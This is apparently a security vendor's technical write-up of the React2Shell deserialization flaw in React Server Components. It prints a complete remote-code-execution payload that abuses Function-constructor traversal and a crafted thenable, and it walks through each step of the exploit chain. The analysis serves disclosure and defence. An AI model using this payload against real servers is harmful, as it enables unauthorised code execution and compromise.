Background
In ourprevious post, we provided the news about React2Shell: a critical vulnerability CVE-2025-55182 affecting React and Next.js that left the tech community buzzing, reminding some Log4shell vibes. At the time, we withheld all technical details in light of ongoing research and responsible disclosure practices.
But now, as a public POC is confirmed, let’s look into how a standard server request can be manipulated to achieve Remote Code Execution (RCE).
What’s surprising about this bug is how familiar it feels. We’ve seen many deserialization bugs and payloads, and…
Background
In ourprevious post, we provided the news about React2Shell: a critical vulnerability CVE-2025-55182 affecting React and Next.js that left the tech community buzzing, reminding some Log4shell vibes. At the time, we withheld all technical details in light of ongoing research and responsible disclosure practices.
But now, as a public POC is confirmed, let’s look into how a standard server request can be manipulated to achieve Remote Code Execution (RCE).
What’s surprising about this bug is how familiar it feels. We’ve seen many deserialization bugs and payloads, and whenever there’s a complex deserializer, there’s a difficult to pull off but impressive deserialization exploit. It’s why deserialization is one of the hardest problems in app exploitation, and where AI isn’t there yet.
All findings based on our own research and the work ofMoritz Sanft and@maple3142. Kudos to the researcherLachlan Davidson who found the vulnerability in the first place, and for the Meta & Vercel teams on handling this complex issue.
Access Miggo’s live resource page here: https://react2shell.miggo.io/
The Setup: React’s "Flight" Protocol
To understand the hack, you have to understand the language React speaks. React Server Components (RSC) introduced a new way for the server and client to talk using the "Flight" protocol.
Flight is created as a way for the two to swap values and invoke custom behaviour. When handling multipart form data, the server looks at each part as a chunk (more on chunks in a second). Chunks can contain plain values, and can also trigger more complex behaviour by sending special strings prefixed with a $, kind of like variable lookups. Some of its capabilities:
$1: References the value found in chunk 1$T2: Lookup the temporary variable 2$@3: Try to load the entirety of chunk number 3
And so on. All in all there are 32 such operators: 14 for typed arrays, 4 for readable streams, and 14 for encoding, 11 for encoding commonly used structures (like NaN, BigInt, Dates, undefined, and so on), and finally 3 for unique behaviour like @ . All of this logic is contained within the parseModelString function.
These can be chained to create a (naive) payload like:
--------------------------XBTlZ2MlphjQkOg9bNZUFV
Content-Disposition: form-data; name="0"
{"ref":"$1","special":"$undefined","date":"$D2024-01-01"}
--------------------------XBTlZ2MlphjQkOg9bNZUFV
Content-Disposition: form-data; name="1"
{"nested":"data"}
--------------------------XBTlZ2MlphjQkOg9bNZUFV--
Which will create two chunks:
[
// 0
{
date: new Date('2024-01-01T02:00:00+02:00'),
ref: {
nested: 'data'
}
},
// 1
{nested: 'data'}
]
This is a very classic serialization format, reminiscent of Pickle, PHP’s deserialization, and many other TLV (type-length-value) protocols. The reviveModel function, a key player in the vulnerability, is a recursive function in charge of the deserialization: Handling strings, arrays, and objects.
The parser uses a Chunk System to manage all this asynchronous data. It creates Chunk objects that track the status (pending, fulfilled) and the value of these data streams. Each chunk has:
function Chunk(status, value, reason, response) {
this.status = status; // "pending", "blocked", "fulfilled", "rejected", etc.
this.value = value; // The resolved value or pending listeners
this.reason = reason; // Chunk ID or error reason
this._response = response; // Parent response object containing _formData, _chunks, _prefix
}
In the example above, both chunks will end up in the fulfilled state.
Time to dive deep into the code. It encodes a complex state machine, and as we all know, bugs love complexity.
Vulnerability Analysis
Revealing the cards up front, this is our vulnerable payload (with whitespace for clarity):
--------------------------XBTlZ2MlphjQkOg9bNZUFV
Content-Disposition: form-data; name="0"
{
"then":"$1:__proto__:then",
"status":"resolved_model",
"reason":-1,
"value":"{\\"then\\":\\"$B1337\\"}",
"_response":{
"_prefix":"process.mainModule.require('child_process').execSync('id > /tmp/win');",
"_formData": {
"get":"$1:constructor:constructor"
}
}
}
--------------------------XBTlZ2MlphjQkOg9bNZUFV
Content-Disposition: form-data; name="1"
"$@0"
--------------------------XBTlZ2MlphjQkOg9bNZUFV--
Creating new functions: getOutlinedModel
The core vulnerability exists in the getOutlinedModel function which performs unconstrained property traversal based on user-controlled input:
function getOutlinedModel(response, reference, parentObject, key, map) {
var id = parseInt((reference = reference.split(":"))[0], 16);
switch (
("resolved_model" === (id = getChunk(response, id)).status &&
initializeModelChunk(id),
id.status)
) {
case "fulfilled":
for (
key = 1, parentObject = id.value;
key < reference.length;
key++
)
parentObject = parentObject[reference[key]]; // VULNERABILITY: Unconstrained traversal
return map(response, parentObject);
// ...
}
}
The reference string is split by : and each segment is used as a property accessor. For example:
"1:constructor:constructor"splits to["1", "constructor", "constructor"]- Traverses:
chunk1.value["constructor"]["constructor"] - Result:
Function constructor
This post contains multiple JavaScript nuances, this is the first. Values in javascript (special ones like null and undefined nonwithstanding) have a constructor: What created them and what gives them their functionality. For plain objects that’s Object, for numbers that’s Number . However, functions are also objects, created from the Function constructor. This is interesting because Function can be called at runtime to beget functions:
> var f = Function('return 1 + 1')
undefined
> f()
2
With a traversal, this looks like:
> var f = o.constructor.constructor('return 1 + 1')
undefined
> f()
2
Bad, but not enough to be vulnerable - we need something to reference the function, and a way to call it. Let’s dive further.
Reference resolution chain
When parseModelString handles $ prefixed values with an unknown suffix, it calls getOutlinedModel mentioned above for unrecognized patterns:
// Default case for $ prefix - falls through to getOutlinedModel
return getOutlinedModel(
response,
(value1 = value1.slice(1)), // Remove $ prefix
obj,
key,
createModel,
);
This allows references like $1:constructor:constructor to trigger prototype traversal.
Circular Reference via $@
The $@ prefix retrieves a chunk by ID:
case "@":
return getChunk(
response,
(obj = parseInt(value1.slice(2), 16)),
);
A circular reference $@0 from chunk 1 back to chunk 0 provides an object base for prototype traversal.
Overwriting properties: reviveModel
When handling objects, the reviveModel recursively walks into every value, assigning the results back into the value:
function reviveModel(
response: Response,
parentObj: any,
parentKey: string,
value: JSONValue, // <-- We fully control this
reference: void | string,
): any {
if (typeof value === 'string') {
// v-- parse strings for the deserialization format
return parseModelString(response, parentObj, parentKey, value, reference);
}
if (typeof value === 'object' && value !== null) {
// ...
if (Array.isArray(value)) {
// ... array handling
} else { // <-- object handling
for (const key in value) {
if (hasOwnProperty.call(value, key)) {
const childRef =
reference !== undefined && key.indexOf(':') === -1
? reference + ':' + key
: undefined;
const newValue = reviveModel( // <-- recursive call
response,
value,
key,
value[key],
childRef,
);
if (newValue !== undefined) {
// v-- property write, *after* deserialization
// and expanding $ operators
value[key] = newValue;
} else {
delete value[key];
}
}
}
}
}
return value;
}
The exploit
Now that we have everything in place, let’s combine them and execute some code!
Fake chunk
In the first chunk, we craft a malicious JSON object that mimics the internal structure of a Chunk. We inject fields that the internal parser uses, specifically _response, _prefix, and _formData.
We set the _prefix to our malicious code (e.g., a node command to open a shell) for the getChunk function to call.
Malicious overwrite
Using the property write in reviveModel, we target the internal method response._formData.get. We craft a payload with the string "$1:constructor:constructor".
- The parser looks at chunk 1 (which refers back to chunk 0).
- It walks up the prototype chain:
Object->Function. - It replaces the internal
getmethod with the JavaScriptFunctionconstructor.
Function construction
In the first chunk, we use $B1337. Looking at the handler for B, we see:
case 'B': {
// Blob
const id = parseInt(value.slice(2), 16);
const prefix = response._prefix;
// A
const blobKey = prefix + id;
// B
const backingEntry: Blob = (response._formData.get(blobKey): any);
return backingEntry;
}
Using reviveModel we’ve overwritten response._formData.get (pointed as B) to be the Function constructor, and _prefix to be the JavaScript payload we wish to run:
"response":{
"_prefix":"process.mainModule.require('child_process').execSync('id > /tmp/win');",
"_formData": {
"get":"$1:constructor:constructor"
}
}
This means that backingEntry is now a function containing our payload! Looking at the payload:
"value": "{ \"then\":\"$B1337\" }",
Our chunk’s value is assigned to an object that now looks something like:
{
then() { ...payload... }
}
All that’s left is calling the then method and we’re done.
Function call
Chunks have a state machine in their status property. When a chunk’s parsing is done and its state turned into fulfilled(confusingly, in the code, this is called INITIALIZE ), its value is resolved with a promise:
Chunk.prototype.then = function <T>(
this: SomeChunk<T>,
resolve: (value: T) => mixed,
reject: (reason: mixed) => mixed,
) {
const chunk: SomeChunk<T> = this;
// ...
switch (chunk.status) {
// the state that we reach
case INITIALIZED:
// chunk.value is our object
resolve(chunk.value);
break;
// ...
}
As we’ve seen, chunk.value points to our object which has a then function. In JavaScript, that’s loosely called a thenable. When we resolve a promise to a thenable, its then method is called. For example:
> Promise.resolve({ then() { console.log('inside then') } })
inside then
Because then points to our crafted function, once it’s passed to resolve , our crafted function gets called, and the payload runs.
And there we have it. A highly interesting and complex deserialization chain.
The takeaway
This is a very complex machine, and as mentioned, complexity begets bugs.
There is a lot of internal details this writeup did not cover - looking deeper into the state machine of chunks and how it’s even possible to reference the 2nd chunk from the 1st one without actually resolving its value, analyzing all the $ operators, how the chunk pollution is actually pulled off in detail, and much more.
This isn’t the first, the tenth, or the hundredth such vulnerability. We can say how dangerous it is to mix user data with internal state, we can wax poetic about the dangers of deserialization, we can clamor for highly advanced static code analysis. But it doesn’t matter: It will happen again. Even with LLMs as reviewers, even with enough eyes all bugs are shallow, it’s a matter of time.
This was an application bug triggered at runtime. To mitigate the next one, we need tools that understand how applications behave at runtime. Contact Miggo to see how you can prepare.
We’re Here to Support You
If you identify indicators of compromise or are unable to confirm that your environment is secure, Miggo’s security response team is happy to assist you. We can help validate exposure, review logs, and provide guidance on next steps. You can reach us by booking time on this link for immediate assistance.